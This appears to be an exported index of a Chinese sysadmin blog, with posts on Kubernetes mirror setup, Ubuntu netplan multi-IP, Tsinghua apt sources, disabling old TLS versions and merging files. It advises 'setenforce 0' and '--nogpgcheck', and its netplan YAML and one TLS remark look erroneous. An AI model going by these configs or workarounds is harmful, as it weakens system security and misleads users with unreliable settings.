class="line"><span class="built_in">echo</span> <span class="string">&quot;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.31/deb/ /&quot;</span> |</span><br><span class="line">    <span class="built_in">tee</span> /etc/apt/sources.list.d/kubernetes.list</span><br><span class="line">apt-get update</span><br><span class="line">apt-get install -y kubelet kubeadm kubectl</span><br></pre></td></tr></table></figure><h4 id="CentOS-RHEL-Fedora"><a href="#CentOS-RHEL-Fedora" class="headerlink" title="CentOS &#x2F; RHEL &#x2F; Fedora"></a>CentOS &#x2F; RHEL &#x2F; Fedora</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF | tee /etc/yum.repos.d/kubernetes.repo</span></span><br><span class="line"><span class="string">[kubernetes]</span></span><br><span class="line"><span class="string">name=Kubernetes</span></span><br><span class="line"><span class="string">baseurl=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.31/rpm/</span></span><br><span class="line"><span class="string">enabled=1</span></span><br><span class="line"><span class="string">gpgcheck=1</span></span><br><span class="line"><span class="string">gpgkey=https://mirrors.aliyun.com/kubernetes-new/core/stable/v1.31/rpm/repodata/repomd.xml.key</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line">setenforce 0</span><br><span class="line">yum install -y kubelet kubeadm kubectl</span><br><span class="line">systemctl <span class="built_in">enable</span> kubelet &amp;&amp; systemctl start kubelet</span><br></pre></td></tr></table></figure><p>ps: 由于官网未开放同步方式, 可能会有索引gpg检查失败的情况, 这时请用 <code>yum install -y --nogpgcheck kubelet kubeadm kubectl</code> 安装</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> kubernetes国内源 </tag>
            
            <tag> aliyun </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Ubuntu 设置IP/添加多IP</title>
      <link href="/archives/linux/ubuntu-multi-ip.html"/>
      <url>/archives/linux/ubuntu-multi-ip.html</url>
      
        <content type="html"><![CDATA[<p>ubuntu新的网络配置使用<strong>netplan</strong></p><h5 id="网络配置文件路径"><a href="#网络配置文件路径" class="headerlink" title="网络配置文件路径"></a>网络配置文件路径</h5><p>&#x2F;etc&#x2F;netplan&#x2F;</p><h5 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> vim /etc/netplan/00-installer-config.yaml</span><br></pre></td></tr></table></figure><h6 id="设置IP或者添加多IP，在addresses-下添加即可"><a href="#设置IP或者添加多IP，在addresses-下添加即可" class="headerlink" title="设置IP或者添加多IP，在addresses 下添加即可"></a>设置IP或者添加多IP，在addresses 下添加即可</h6><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">network:</span></span><br><span class="line">  <span class="attr">ens160:</span> <span class="comment">## 这个根据实际网卡名填写, &#x27;ip a&#x27; 可以查看网络情况</span></span><br><span class="line">    <span class="attr">addresses:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="number">172.20</span><span class="number">.20</span><span class="number">.6</span><span class="string">/24</span></span><br><span class="line">    <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.13</span><span class="number">.6</span><span class="string">/16</span> <span class="comment">## 根据实际情况填写，单IP 则不用填写这一行</span></span><br><span class="line">    <span class="attr">gateway4:</span> <span class="number">172.20</span><span class="number">.20</span><span class="number">.1</span> <span class="comment">## 第一个IP地址的网关，第二个IP地址的网关不用写</span></span><br><span class="line">    <span class="attr">nameservers:</span></span><br><span class="line">      <span class="attr">addresses:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">222.172</span><span class="number">.200</span><span class="number">.68</span></span><br><span class="line">      <span class="attr">search:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">223.5</span><span class="number">.5</span><span class="number">.5</span></span><br><span class="line">　　  <span class="comment">##　根据自己的实际情况填写DNS</span></span><br><span class="line">  <span class="attr">version:</span> <span class="number">2</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/acb0f66bf6871ab1ba32b1d8d1475bde843f38868741e925f610f83e054c1dbc.jpg" alt="ubuntu-multi-ip-0">  </p><h5 id="多IP多网段多路由"><a href="#多IP多网段多路由" class="headerlink" title="多IP多网段多路由"></a>多IP多网段多路由</h5><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">network:</span></span><br><span class="line">  <span class="attr">ens160:</span> <span class="comment">## 这个根据实际网卡名填写, &#x27;ip a&#x27; 可以查看网络情况</span></span><br><span class="line">    <span class="attr">addresses:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="number">172.20</span><span class="number">.20</span><span class="number">.6</span><span class="string">/24</span></span><br><span class="line">    <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.13</span><span class="number">.6</span><span class="string">/16</span> <span class="comment">## 根据实际情况填写，单IP 则不用填写这一行</span></span><br><span class="line">    <span class="string">routes:</span>　<span class="comment">## 配置多路由</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">to:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span><span class="string">/0</span></span><br><span class="line">      <span class="attr">via:</span> <span class="number">172.20</span><span class="number">.20</span><span class="number">.1</span></span><br><span class="line">      <span class="attr">metric:</span> <span class="number">100</span>  <span class="comment">## 优先级别</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">to:</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span><span class="string">/0</span></span><br><span class="line">      <span class="attr">via:</span> <span class="number">192.168</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">      <span class="attr">metric:</span> <span class="number">100</span></span><br><span class="line">    <span class="attr">nameservers:</span></span><br><span class="line">      <span class="attr">addresses:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">222.172</span><span class="number">.200</span><span class="number">.68</span></span><br><span class="line">      <span class="attr">search:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">223.5</span><span class="number">.5</span><span class="number">.5</span></span><br><span class="line">　　  <span class="comment">##　根据自己的实际情况填写DNS</span></span><br><span class="line">  <span class="attr">version:</span> <span class="number">2</span></span><br></pre></td></tr></table></figure><h5 id="重启网络服务"><a href="#重启网络服务" class="headerlink" title="重启网络服务"></a>重启网络服务</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl start systemd-networkd</span><br></pre></td></tr></table></figure><h5 id="应用网络设置"><a href="#应用网络设置" class="headerlink" title="应用网络设置"></a>应用网络设置</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> netplan apply</span><br></pre></td></tr></table></figure><h5 id="查看网络状况"><a href="#查看网络状况" class="headerlink" title="查看网络状况"></a>查看网络状况</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ip a</span><br><span class="line">ifconfig</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/68f64b80e23107314f7aa389ff1fa87af1c18321010c1758d0633203142c2475.jpg" alt="ubuntu-multi-ip-1">  </p><p>参考 ：</p><blockquote><p><a href="https://blog.csdn.net/xiaoliang199109/article/details/116376630">https://blog.csdn.net/xiaoliang199109/article/details/116376630</a></p></blockquote>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
    </entry>
    
    
    
    <entry>
      <title>ubuntu 清华源</title>
      <link href="/archives/linux/ubuntu-sources_list.html"/>
      <url>/archives/linux/ubuntu-sources_list.html</url>
      
        <content type="html"><![CDATA[<blockquote><p>转载自<br><a href="https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/">清华源</a></p></blockquote><p>这里以 24.04 举例，详细请查看上面的链接</p><p>备份源文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> /etc/apt/sources.list /etc/apt/sources.list.bk</span><br></pre></td></tr></table></figure><p>编辑 <code>/etc/apt/sources.list</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> vim /etc/apt/sources.list</span><br></pre></td></tr></table></figure><p>编辑 <code>/etc/apt/sources.list.d/ubuntu.sources</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> vim /etc/apt/sources.list.d/ubuntu.sources</span><br></pre></td></tr></table></figure><p>本镜像仅包含 32&#x2F;64 位 x86 架构处理器的软件包，在 ARM(arm64, armhf)、PowerPC(ppc64el)、RISC-V(riscv64) 和 S390x 等架构的设备上（对应官方源为 ports.ubuntu.com）请使用 <a href="https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu-ports/">ubuntu-ports 镜像</a></p><p>对于 Ubuntu 不再支持的版本，请参考 <a href="https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu-old-releases/">Ubuntu 旧版本帮助</a></p><p>在 Ubuntu 24.04 之前，Ubuntu 的软件源配置文件使用传统的 One-Line-Style，路径为 <code>/etc/apt/sources.list</code><br>从 Ubuntu 24.04 开始，Ubuntu 的软件源配置文件变更为 DEB822 格式，路径为 <code>/etc/apt/sources.list.d/ubuntu.sources</code></p><p>将系统自带的对应文件做个备份，然后根据格式的选择下面对应的内容替换，即可使用选择的软件源镜像。</p><h3 id="传统格式-etc-apt-sources-list"><a href="#传统格式-etc-apt-sources-list" class="headerlink" title="传统格式 &#x2F;etc&#x2F;apt&#x2F;sources.list"></a>传统格式 &#x2F;etc&#x2F;apt&#x2F;sources.list</h3><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line"># 默认注释了源码镜像以提高 apt <span class="keyword">update</span> 速度，如有需要可自行取消注释</span><br><span class="line"><span class="keyword">deb</span> https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble main restricted universe multiverse</span><br><span class="line"># <span class="keyword">deb</span>-src https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble main restricted universe multiverse</span><br><span class="line"><span class="keyword">deb</span> https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-updates main restricted universe multiverse</span><br><span class="line"># <span class="keyword">deb</span>-src https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-updates main restricted universe multiverse</span><br><span class="line"><span class="keyword">deb</span> https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-backports main restricted universe multiverse</span><br><span class="line"># <span class="keyword">deb</span>-src https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-backports main restricted universe multiverse</span><br><span class="line"></span><br><span class="line"># 以下安全更新软件源包含了官方源与镜像站配置，如有需要可自行修改注释切换</span><br><span class="line"><span class="keyword">deb</span> http://security.ubuntu.<span class="keyword">com</span>/ubuntu/ noble-security main restricted universe multiverse</span><br><span class="line"># <span class="keyword">deb</span>-src http://security.ubuntu.<span class="keyword">com</span>/ubuntu/ noble-security main restricted universe multiverse</span><br><span class="line"></span><br><span class="line"># 预发布软件源，不建议启用</span><br><span class="line"># <span class="keyword">deb</span> https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-proposed main restricted universe multiverse</span><br><span class="line"># # <span class="keyword">deb</span>-src https://mirrors.tuna.tsinghua.edu.<span class="keyword">cn</span>/ubuntu/ noble-proposed main restricted universe multiverse</span><br></pre></td></tr></table></figure><h3 id="DEB822-格式-etc-apt-sources-list-d-ubuntu-sources"><a href="#DEB822-格式-etc-apt-sources-list-d-ubuntu-sources" class="headerlink" title="DEB822 格式 &#x2F;etc&#x2F;apt&#x2F;sources.list.d&#x2F;ubuntu.sources"></a>DEB822 格式 &#x2F;etc&#x2F;apt&#x2F;sources.list.d&#x2F;ubuntu.sources</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">Types:</span> <span class="string">deb</span></span><br><span class="line"><span class="attr">URIs:</span> <span class="string">https://mirrors.tuna.tsinghua.edu.cn/ubuntu</span></span><br><span class="line"><span class="attr">Suites:</span> <span class="string">noble</span> <span class="string">noble-updates</span> <span class="string">noble-backports</span></span><br><span class="line"><span class="attr">Components:</span> <span class="string">main</span> <span class="string">restricted</span> <span class="string">universe</span> <span class="string">multiverse</span></span><br><span class="line"><span class="attr">Signed-By:</span> <span class="string">/usr/share/keyrings/ubuntu-archive-keyring.gpg</span></span><br><span class="line"></span><br><span class="line"><span class="attr">Types:</span> <span class="string">deb</span></span><br><span class="line"><span class="attr">URIs:</span> <span class="string">http://security.ubuntu.com/ubuntu/</span></span><br><span class="line"><span class="attr">Suites:</span> <span class="string">noble-security</span></span><br><span class="line"><span class="attr">Components:</span> <span class="string">main</span> <span class="string">restricted</span> <span class="string">universe</span> <span class="string">multiverse</span></span><br><span class="line"><span class="attr">Signed-By:</span> <span class="string">/usr/share/keyrings/ubuntu-archive-keyring.gpg</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>因镜像站同步有延迟，可能会导致生产环境系统不能及时检查、安装上最新的安全更新，不建议替换 security 源。</p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ubuntu </tag>
            
            <tag> 清华源 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>IIS,Nginx,Apache,Tomcat禁用TLS1.0和TLS1.1协议</title>
      <link href="/archives/web/disable-tls1.0-tls1.1.html"/>
      <url>/archives/web/disable-tls1.0-tls1.1.html</url>
      
        <content type="html"><![CDATA[<p>SSL&#x2F;TLS 的版本</p><table><thead><tr><th>协议</th><th>发布时间</th><th>状态</th></tr></thead><tbody><tr><td>SSL 1.0</td><td>未公布</td><td>已弃用</td></tr><tr><td>SSL 2.0</td><td>1995 年</td><td>已于 2011 年弃用</td></tr><tr><td>SSL 3.0</td><td>1996 年</td><td>已于 2015 年弃用</td></tr><tr><td>TLS 1.0</td><td>1999 年</td><td>计划于 2020 年弃用</td></tr><tr><td>TLS 1.1</td><td>2008 年</td><td>计划于 2020 年弃用</td></tr><tr><td>TLS 1.2</td><td>2008 年</td><td></td></tr><tr><td>TLS 1.3</td><td>2018 年</td><td></td></tr></tbody></table><h3 id="Nginx"><a href="#Nginx" class="headerlink" title="Nginx"></a>Nginx</h3><ol><li><p>通常Nginx的conf&#x2F;nginx.conf配置如下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssl_protocols TLSv1 TLSv1.1 TLSv1.2;</span><br></pre></td></tr></table></figure></li><li><p>删除TLS1.0 TLSv1.1、增加TLS1.3</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssl_protocols TLSv1.2 TLSv1.3;</span><br></pre></td></tr></table></figure></li><li><p>重启Nginx使配置生效</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -s reload</span><br></pre></td></tr></table></figure></li></ol><h3 id="Apache"><a href="#Apache" class="headerlink" title="Apache"></a>Apache</h3><ol><li><p>通常Apache的配置如下</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">SSLProtocol -ALL +TLSv1 +TLSv1.<span class="number">1</span> +TLSv1.<span class="number">2</span></span><br></pre></td></tr></table></figure><blockquote><p>1-1. 基于RedHat的发行版（CentOS，Fedora）配置文件 &#x2F;etc&#x2F;httpd&#x2F;conf&#x2F;httpd.conf 1-2. 基于Debian的发行版（Ubuntu）配置文件 &#x2F;etc&#x2F;apache2&#x2F;sites-enabled&#x2F; 目录下</p></blockquote></li><li><p>删除+TLSv1 +TLSv1.1、增加TLSv1.3</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">SSLProtocol -ALL +TLSv1.<span class="number">2</span> +TLSv1.<span class="number">3</span></span><br></pre></td></tr></table></figure></li><li><p>重启Apache使配置生效</p></li></ol><h4 id="基于RedHat的发行版（CentOS，Fedora）"><a href="#基于RedHat的发行版（CentOS，Fedora）" class="headerlink" title="基于RedHat的发行版（CentOS，Fedora）"></a>基于RedHat的发行版（CentOS，Fedora）</h4>   <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl restart httpd</span><br></pre></td></tr></table></figure><h4 id="基于Debian的发行版（Ubuntu）"><a href="#基于Debian的发行版（Ubuntu）" class="headerlink" title="基于Debian的发行版（Ubuntu）"></a>基于Debian的发行版（Ubuntu）</h4>   <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">service apache2 restart</span><br></pre></td></tr></table></figure><h3 id="Tomcat"><a href="#Tomcat" class="headerlink" title="Tomcat"></a>Tomcat</h3><ol><li><p>通常Tomcat的conf&#x2F;server.xml配置如下</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">SSLProtocol=<span class="string">&quot;TLSv1+TLSv1.1+TLSv1.2&quot;</span></span><br></pre></td></tr></table></figure></li><li><p>删除+TLSv1 +TLSv1.1、增加TLS1.3</p><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">SSLProtocol=<span class="string">&quot;TLSv1.2+TLSv1.3&quot;</span></span><br></pre></td></tr></table></figure></li><li><p>重启Tomcat使配置生效</p></li></ol><h4 id="关闭tomcat"><a href="#关闭tomcat" class="headerlink" title="关闭tomcat"></a>关闭tomcat</h4>   <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bin/shutdown.sh</span><br></pre></td></tr></table></figure><h4 id="启动tomcat"><a href="#启动tomcat" class="headerlink" title="启动tomcat"></a>启动tomcat</h4>   <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bin/startup.sh</span><br></pre></td></tr></table></figure><h3 id="IIS服务器"><a href="#IIS服务器" class="headerlink" title="IIS服务器"></a>IIS服务器</h3><ol><li>IIS服务器需使用官方工具（IISCrypto）进行修改 官网 <a href="https://www.nartac.com/Products/IISCrypto/">IIS Crypto</a> 下载 <a href="https://www.nartac.com/Downloads/IISCrypto/IISCrypto.exe">IIS Crypto GUI</a></li></ol><p><img src="https://images.hao.kim/uploads/2024/11/fc7452c90412e8cf49d9a3013993c3659c21ae5e552bb5cc16d2f56d0a4b8133.jpg" alt="disable-tls1.0-tls1.1-0">  </p><blockquote><p>注： 表示使用TLS1.2协议连接通过，说明我们已经禁用了TLS1.2</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> tls1.0 </tag>
            
            <tag> tls1.1 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>合并文件</title>
      <link href="/archives/tools/merged-file.html"/>
      <url>/archives/tools/merged-file.html</url>
      
        <content type="html"><![CDATA[<p>好的，以下是整合后的文章草稿，涵盖了普通文件和二进制文件合并的所有方法，重点突出了它们的区别。</p><h2 id="1-合并普通文件"><a href="#1-合并普通文件" class="headerlink" title="1. 合并普通文件"></a>1. 合并普通文件</h2><p>普通文件（如文本文件）合并的方法非常直接。在 <strong>Linux</strong> 和 <strong>Windows</strong> 中，你都可以使用简单的命令来实现文件合并。</p><h3 id="在-Linux-上合并文件"><a href="#在-Linux-上合并文件" class="headerlink" title="在 Linux 上合并文件"></a>在 Linux 上合并文件</h3><p>在 <strong>Linux</strong> 系统上，最常用的工具来合并普通文件是 <code>cat</code> 命令。<code>cat</code> 命令用于将文件内容输出到终端，同时也可以将多个文件合并并重定向到一个新的文件中。</p><h4 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h4><p>假设你有两个文件 <code>file1.txt</code> 和 <code>file2.txt</code>，你想将它们合并为一个新的文件 <code>merged.txt</code>，可以使用如下命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> file1.txt file2.txt &gt; merged.txt</span><br></pre></td></tr></table></figure><p>如果你希望将多个文件合并并追加到已有的文件中，可以使用 <code>&gt;&gt;</code> 操作符：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> file1.txt file2.txt &gt;&gt; merged.txt</span><br></pre></td></tr></table></figure><h3 id="在-Windows-上合并文件"><a href="#在-Windows-上合并文件" class="headerlink" title="在 Windows 上合并文件"></a>在 Windows 上合并文件</h3><p>在 <strong>Windows</strong> 上，你可以使用 <code>type</code> 命令来合并普通文件。与 Linux 的 <code>cat</code> 命令类似，<code>type</code> 命令会将多个文件的内容按顺序输出。</p><h4 id="windows示例"><a href="#windows示例" class="headerlink" title="windows示例"></a>windows示例</h4><p>假设有 <code>file1.txt</code> 和 <code>file2.txt</code> 两个文件，合并为 <code>merged.txt</code>，可以使用以下命令：</p><figure class="highlight cmd"><table><tr><td class="code"><pre><span class="line"><span class="built_in">type</span> file1.txt file2.txt &gt; merged.txt</span><br></pre></td></tr></table></figure><p>如果要将多个文件追加到已有文件中，可以使用 <code>&gt;&gt;</code>：</p><figure class="highlight cmd"><table><tr><td class="code"><pre><span class="line"><span class="built_in">type</span> file1.txt file2.txt &gt;&gt; merged.txt</span><br></pre></td></tr></table></figure><h2 id="2-合并二进制文件"><a href="#2-合并二进制文件" class="headerlink" title="2. 合并二进制文件"></a>2. 合并二进制文件</h2><p>二进制文件（如视频、音频、图片等）与普通文件不同，它们的内容不能像文本文件一样简单地合并。在合并二进制文件时，必须确保文件内容按字节流合并，以避免文件损坏。</p><h3 id="在-Linux-上合并二进制文件"><a href="#在-Linux-上合并二进制文件" class="headerlink" title="在 Linux 上合并二进制文件"></a>在 Linux 上合并二进制文件</h3><p>在 <strong>Linux</strong> 上，你可以继续使用 <code>cat</code> 命令来合并二进制文件。尽管 <code>cat</code> 通常用于文本文件，但它会逐字节读取文件，因此也能安全地合并二进制文件。</p><h4 id="linux示例"><a href="#linux示例" class="headerlink" title="linux示例"></a>linux示例</h4><p>假设你有两个二进制文件 <code>file1.bin</code> 和 <code>file2.bin</code>，你希望将它们合并为一个新的文件 <code>merged.bin</code>，可以使用以下命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> file1.bin file2.bin &gt; merged.bin</span><br></pre></td></tr></table></figure><p>这条命令会按字节流将两个文件的内容合并为一个新文件 <code>merged.bin</code>。</p><h3 id="在-Windows-上合并二进制文件"><a href="#在-Windows-上合并二进制文件" class="headerlink" title="在 Windows 上合并二进制文件"></a>在 Windows 上合并二进制文件</h3><p>在 <strong>Windows</strong> 上，使用 <code>copy /b</code> 命令来合并二进制文件。<code>/b</code> 参数告诉 <code>copy</code> 命令按二进制方式处理文件，从而保证文件的原始内容不被改变。</p><h4 id="windows示例2"><a href="#windows示例2" class="headerlink" title="windows示例2"></a>windows示例2</h4><p>假设你有两个二进制文件 <code>file1.bin</code> 和 <code>file2.bin</code>，你可以使用以下命令将它们合并为 <code>merged.bin</code>：</p><figure class="highlight cmd"><table><tr><td class="code"><pre><span class="line"><span class="built_in">copy</span> /b file1.bin + file2.bin merged.bin</span><br></pre></td></tr></table></figure><p>这个命令会将 <code>file1.bin</code> 和 <code>file2.bin</code> 按顺序合并，并创建一个新的文件 <code>merged.bin</code>。注意，<code>/b</code> 参数告诉 <code>copy</code> 命令按二进制方式处理文件。</p><p>如果你希望将多个文件合并在一起，可以继续使用 <code>+</code> 连接更多的文件，例如：</p><figure class="highlight cmd"><table><tr><td class="code"><pre><span class="line"><span class="built_in">copy</span> /b file1.bin + file2.bin + file3.bin merged.bin</span><br></pre></td></tr></table></figure><h3 id="在-PowerShell-中合并二进制文件"><a href="#在-PowerShell-中合并二进制文件" class="headerlink" title="在 PowerShell 中合并二进制文件"></a>在 PowerShell 中合并二进制文件</h3><p>在 PowerShell 中，你可以使用 <code>[System.IO.File]::ReadAllBytes</code> 和 <code>[System.IO.File]::WriteAllBytes</code> 来合并二进制文件。这样做可以确保跨平台兼容并处理二进制数据。</p><h4 id="powershell示例"><a href="#powershell示例" class="headerlink" title="powershell示例"></a>powershell示例</h4><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="variable">$file1</span> = [<span class="type">System.IO.File</span>]::ReadAllBytes(<span class="string">&quot;file1.bin&quot;</span>)</span><br><span class="line"><span class="variable">$file2</span> = [<span class="type">System.IO.File</span>]::ReadAllBytes(<span class="string">&quot;file2.bin&quot;</span>)</span><br><span class="line">[<span class="type">System.IO.File</span>]::WriteAllBytes(<span class="string">&quot;merged.bin&quot;</span>, <span class="variable">$file1</span> + <span class="variable">$file2</span>)</span><br></pre></td></tr></table></figure><p>这段代码会将 <code>file1.bin</code> 和 <code>file2.bin</code> 按字节流合并，并将结果写入 <code>merged.bin</code> 文件。</p><h2 id="3-普通文件与二进制文件合并的区别"><a href="#3-普通文件与二进制文件合并的区别" class="headerlink" title="3. 普通文件与二进制文件合并的区别"></a>3. 普通文件与二进制文件合并的区别</h2><p>虽然普通文件和二进制文件的合并过程在命令行操作上看起来相似，但它们之间有一些本质的区别，主要体现在合并过程中对数据的处理方式。</p><ul><li><strong>普通文件</strong>（文本文件）可以直接按字符或行合并，工具如 <code>cat</code> 或 <code>type</code> 命令会逐行读取文件并合并，不会影响文件的内容。</li><li><strong>二进制文件</strong>（如图片、音频、视频等）必须按字节流合并。对于二进制文件，必须确保文件内容不会被误处理，常用的命令如 <code>copy /b</code> 或 <code>cat</code>（Linux）能够按字节合并文件，而不会修改文件内容。</li></ul><h3 id="为什么需要注意二进制文件的合并"><a href="#为什么需要注意二进制文件的合并" class="headerlink" title="为什么需要注意二进制文件的合并"></a>为什么需要注意二进制文件的合并</h3><p>在文本文件合并时，每个字符通常都有明确的文本编码，命令行工具在合并时会逐行读取并拼接内容。然而，二进制文件的内容可能包括非打印字符和控制符，这些内容不能简单地视为文本处理。错误的合并方式可能导致文件损坏，甚至导致程序崩溃或无法读取。因此，对于二进制文件，必须使用专门支持二进制流的工具和命令（如 <code>copy /b</code>）来合并文件。</p><h2 id="4-跨平台合并文件"><a href="#4-跨平台合并文件" class="headerlink" title="4. 跨平台合并文件"></a>4. 跨平台合并文件</h2><p>对于需要在不同操作系统之间处理文件合并的情况，使用 <strong>Python</strong> 脚本是一个很好的选择。Python 提供了跨平台的支持，可以处理文本文件和二进制文件的合并。</p><h3 id="使用-Python-合并文件"><a href="#使用-Python-合并文件" class="headerlink" title="使用 Python 合并文件"></a>使用 Python 合并文件</h3><p>下面是一个 Python 脚本示例，演示了如何合并二进制文件。无论是在 <strong>Linux</strong> 还是 <strong>Windows</strong> 上，Python 都能提供一致的行为。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Python 3 脚本：合并两个二进制文件</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;merged.bin&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> output_file:</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;file1.bin&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> file1:</span><br><span class="line">        output_file.write(file1.read())</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;file2.bin&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> file2:</span><br><span class="line">        output_file.write(file2.read())</span><br></pre></td></tr></table></figure><p>这段 Python 脚本会读取 <code>file1.bin</code> 和 <code>file2.bin</code> 的字节内容，并将它们按顺序合并到 <code>merged.bin</code> 文件中。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>合并文件在开发、运维及日常工作中是一项常见任务。无论是 <strong>普通文件</strong> 还是 <strong>二进制文件</strong>，在 <strong>Linux</strong> 和 <strong>Windows</strong> 上都有相应的命令来实现文件合并。对于普通文件，可以直接使用 <code>cat</code> 或 <code>type</code> 命令；对于二进制文件，需要使用 <code>copy /b</code> 或 <code>cat</code>（Linux）来按字节流合并文件。对于跨平台的需求，Python 提供了一种可靠的解决方案，确保合并过程不受操作系统限制。</p><p>掌握这些技巧，可以帮助你更高效地处理文件合并任务，确保数据的完整性和正确性。</p><hr><p>这篇文章结合了普通文件和二进制文件的合并方法，并对它们的区别做了详细的说明，帮助你在不同操作系统中处理文件合并时更加高效。</p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> copy </tag>
            
            <tag> cat </tag>
            
            <tag> type </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>安装AWCC提示错误1603 错误应用程序名称:svchost.exe_ClipSVC 错误模块名称:pidgenx.dll 异常代码:0xc0000409</title>
      <link href="/archives/windows/awcc-1603-error.html"/>
      <url>/archives/windows/awcc-1603-error.html</url>
      
